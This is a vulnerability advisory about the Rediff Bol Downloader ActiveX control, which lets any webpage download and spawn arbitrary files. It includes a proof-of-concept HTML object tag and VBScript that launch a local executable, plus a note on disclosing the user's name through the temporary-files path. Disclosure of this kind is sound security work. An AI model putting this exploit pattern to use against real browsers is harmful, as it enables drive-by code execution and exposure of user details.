Rediff Bol Downloader Allows Downloading and Spawning Arbitary Files ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Affected Program : Rediff Bol Download ActiveX ActiveX (OCX) Control that downloads the Rediff Bol Messenger setup and spawns it. Related URL : http://messenger.rediff.com/newbol/ Discovered by : Gregory R. Panakkal Vulnerability Description : Rediff Bol Downloader ActiveX control allows any webpage to download and spawn file. These file can be of any type. No filtering is done. IE Displays an alert, if the code points to a executable file on the internet. But execution of local files displays no alert. Tested On : * IE 7.0.5730.11 (WinXP SP2) * IE 6.0.2900.2180 (WinXP SP2) Proof Of Concept: [OBJECT id="rboldwn" WIDTH=445 HEIGHT=40 classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03" codebase="http://imdownloads.rediff.com/newbol/Bol.CAB"] [/OBJECT] [script language="vbscript"] rboldwn.url = "file://C:/WINNT/Notepad.exe" rboldwn.fontsize = 14 rboldwn.barcolor = EE4E00 rboldwn.start = "start" [/script] A variation of this, allows downloading a HTML File that can disclose the path to the local temporary internet files folder. It can disclose the Logged in User's username. A typical path to Temporary Internet Files folder is.. C:Documents and Settings<username>Local SettingsTemporary Internet Files Online Info + Demo: http://www.infogreg.com/security/misc/rediff-bol-downloader-allows-downl oading-and-spawning-arbitary-files.html rgds, Gregory R. Panakkal http://www.infogreg.com/ -- gregory_panakkal gregory_panakkal (at) fastmail (dot) fm [email concealed] -- http://www.fastmail.fm - Choose from over 50 domains or use your own